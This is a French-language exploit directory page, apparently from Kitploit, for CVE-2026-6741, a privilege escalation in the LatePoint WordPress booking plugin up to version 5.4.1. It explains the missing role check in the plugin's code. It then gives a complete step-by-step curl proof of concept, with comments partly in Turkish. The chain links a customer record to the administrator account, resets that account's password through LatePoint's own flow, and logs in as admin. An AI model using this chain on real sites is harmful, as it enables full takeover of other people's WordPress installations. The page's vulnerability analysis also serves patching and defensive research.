Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-6741 — CVE-2026-6741 est une vulnérabilité d'élévation de privilèges authentifiée (Agent+) avec un score CVSS de 8,8 (Élevée) dans le plugin LatePoint – Calendar Booking Plugin. | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-6741
Escalade de PrivilègesScanners de VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741 est une vulnérabilité d'élévation de privilèges authentifiée (Agent+) avec un score CVSS de 8,8 (Élevée) dans le plugin LatePoint – Calendar Booking Plugin.

Voir le dépôt
11il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-6741

CVE-2026-6741 est une vulnérabilité d'élévation de privilèges Authenticated (Agent+) avec un score CVSS de 8,8 (High) dans le LatePoint – Calendar Booking Plugin

CVE-2026-6741 — Scanner d'élévation de privilèges LatePoint

Plugin : LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE ID : CVE-2026-6741 Score CVSS : 8,8 (High) Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Type de vulnérabilité : Authenticated (Agent+) Privilege Escalation → Administrator Takeover Versions affectées : <= 5.4.1 Version corrigée : 5.4.2 Date de publication : 27 avril 2026 Chercheurs : skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 À propos de la vulnérabilité

Un attaquant authentifié disposant du rôle latepoint_agent peut lier n'importe quel enregistrement de client LatePoint à un compte administrateur WordPress, puis utiliser le flux de réinitialisation de mot de passe propre à LatePoint pour modifier le mot de passe de l'administrateur.

Cela aboutit à une compromission totale du site.


🔍 Résumé de la vulnérabilité

ChampValeur
Nom du pluginLatePoint – Calendar Booking Plugin
Slug du pluginlatepoint
CVE IDCVE-2026-6741
Score CVSS8,8 (High)
Type de vulnérabilitéAuthenticated (Agent+) Privilege Escalation
Version affectée<= 5.4.1
Version corrigée5.4.2
Exigencerôle latepoint_agent, WordPress 6.9+

⚙️ Analyse technique

API Abilities de WordPress

LatePoint 5.3.0 a ajouté le support de l'API Abilities fournie avec WordPress 6.9+. Cette API permet aux plugins d'enregistrer des classes « ability » appelables via l'API REST :

// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

Chemin de code vulnérable

1 — Définition de l'abilité (contrôle de rôle manquant)

// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← seul contrôle : cette capability
}

Le rôle Agent possède par défaut la capability customer__edit :

// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← l'agent possède cette capability
        ...
    ];
}

2 — execute() — Aucun contrôle de rôle

// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Seule l'existence de l'utilisateur est vérifiée
        // MANQUANT : le rôle de l'utilisateur cible n'est pas vérifié
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← lier à n'importe quel utilisateur WP
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — Chaîne de réinitialisation du mot de passe

// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id est désormais l'ID admin → le mot de passe admin change
    }
}

Pourquoi les contrôles existants sont-ils insuffisants ?

// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Vérifie uniquement la permission de L'APPELANT
    // Ne vérifie pas le rôle de l'utilisateur CIBLE
}

🔴 Chaîne d'attaque

latepoint_agent hesabı
        │
        ▼
1. Agent olarak WP'ye giriş yap → REST nonce al
        │
        ▼
2. Hedef admin WordPress user ID'sini tespit et
   (wp-json/wp/v2/users veya ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Rol kontrolü yok → Başarılı
        │
        ▼
4. LatePoint forgot_password → customer emailine reset token gönder
        │
        ▼
5. Token ile change_password → update_password() çağrılır
   → wp_set_password("Hacked!", 1)
   → Admin şifresi değişti
        │
        ▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓

🧪 Proof of Concept (Manuel)

⚠️ Disclaimer : Ce PoC est fourni uniquement à des fins de recherche en sécurité éducative et défensive.

Prérequis :

  • WordPress 6.9+ (API Abilities requise)
  • LatePoint <= 5.4.1 installé et actif
  • Un compte disposant du rôle latepoint_agent
  • Un enregistrement de client LatePoint contrôlé

Étape 1 — Connexion Agent + Nonce REST

WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

Étape 2 — Détection de l'ID utilisateur admin

# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

Étape 3 — Liaison Customer → Admin (vulnérabilité)

CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

Réponse attendue :

{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

Étape 4 — Lancer la réinitialisation du mot de passe

CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint envoie un email de réinitialisation contenant un jeton account_nonce à l'adresse $CUSTOMER_EMAIL.


Étape 5 — Changer le mot de passe

RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

Cet appel déclenche la chaîne update_password() → wp_set_password($NEW_PASSWORD, 1). Le mot de passe admin a été modifié.


Étape 6 — Se connecter en tant qu'admin

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

Vérification

# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)
Télécharger l’outil